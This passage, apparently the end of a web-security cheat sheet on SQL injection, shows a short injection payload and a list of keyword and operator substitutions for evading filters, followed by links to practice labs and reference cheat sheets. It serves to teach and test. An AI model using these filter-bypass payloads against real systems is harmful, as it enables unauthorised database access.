<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">aNd</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="o">#</span>
</code></pre></div></li>
<li>Bypass using keywords case insensitive / Bypass using an equivalent operator
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="k">AND</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="o">&amp;&amp;</span>
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a><span class="k">OR</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="o">||</span>
<a id="__codelineno-30-3" name="__codelineno-30-3" href="#__codelineno-30-3"></a><span class="o">=</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="k">LIKE</span><span class="p">,</span><span class="n">REGEXP</span><span class="p">,</span><span class="w"> </span><span class="k">BETWEEN</span><span class="p">,</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="o">&gt;</span>
<a id="__codelineno-30-4" name="__codelineno-30-4" href="#__codelineno-30-4"></a><span class="o">&gt;</span><span class="w"> </span><span class="n">X</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="k">between</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">X</span>
<a id="__codelineno-30-5" name="__codelineno-30-5" href="#__codelineno-30-5"></a><span class="k">WHERE</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="k">HAVING</span>
</code></pre></div></li>
</ul>
<h2 id="labs">Labs</h2>
<ul>
<li><a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data">SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</a></li>
<li><a href="https://portswigger.net/web-security/sql-injection/lab-login-bypass">SQL injection vulnerability allowing login bypass</a></li>
<li><a href="https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding">SQL injection with filter bypass via XML encoding</a></li>
<li><a href="https://portswigger.net/web-security/all-labs#sql-injection">SQL Labs</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li>Detect SQLi</li>
<li><a href="https://gerbenjavado.com/manual-sql-injection-discovery-tips/">Manual SQL Injection Discovery Tips</a></li>
<li><a href="https://sqlwiki.netspi.com/">NetSPI SQL Injection Wiki</a></li>
<li>MySQL:</li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet">PentestMonkey's mySQL injection cheat sheet</a></li>
<li><a href="https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/">Reiners mySQL injection Filter Evasion Cheatsheet</a></li>
<li><a href="https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/">Alternative for Information_Schema.Tables in MySQL</a></li>
<li><a href="https://websec.ca/kb/sql_injection">The SQL Injection Knowledge base</a></li>
<li>MSSQL:</li>
<li><a href="http://evilsql.com/main/page2.php">EvilSQL's Error/Union/Blind MSSQL Cheatsheet</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet">PentestMonkey's MSSQL SQLi injection Cheat Sheet</a></li>
<li>ORACLE:</li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet">PentestMonkey's Oracle SQLi Cheatsheet</a></li>
<li>POSTGRESQL:</li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet">PentestMonkey's Postgres SQLi Cheatsheet</a></li>
<li>Others</li>
<li><a href="https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/">SQLi Cheatsheet - NetSparker</a></li>
<li><a href="http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html">Access SQLi Cheatsheet</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet">PentestMonkey's Ingres SQL Injection Cheat Sheet</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet">Pentestmonkey's DB2 SQL Injection Cheat Sheet</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet">Pentestmonkey's Informix SQL Injection Cheat Sheet</a></li>
<li><a href="https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet">SQLite3 Injection Cheat sheet</a></li>
<li><a href="http://rails-sqli.org/">Ruby on Rails (Active Record) SQL Injection Guide</a></li>
<li><a href="http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html">ForkBombers SQLMap Tamper Scripts Update</a></li>
<li><a href="https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/">SQLi in INSERT worse than SELECT</a></li>
<li><a href="https://gerbenjavado.com/manual-sql-injection-discovery-tips/">Manual SQL Injection Tips</a></li>
<li>Second Order:</li>
<li><a href="https://www.notsosecure.com/analyzing-cve-2018-6376/">Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection</a></li>
<li><a href="https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/">Exploiting Second Order SQLi Flaws by using Burp &amp; Custom Sqlmap Tamper</a></li>
<li>Sqlmap:</li>
<li><a href="https://twitter.com/zh4ck/status/972441560875970560">#SQLmap protip @zh4ck</a></li>
<li>WAF:</li>
<li><a href="https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf">SQLi Optimization and Obfuscation Techniques</a> by Roberto Salgado</li>
<li><a href="https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/">A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection</a></li>
</ul>
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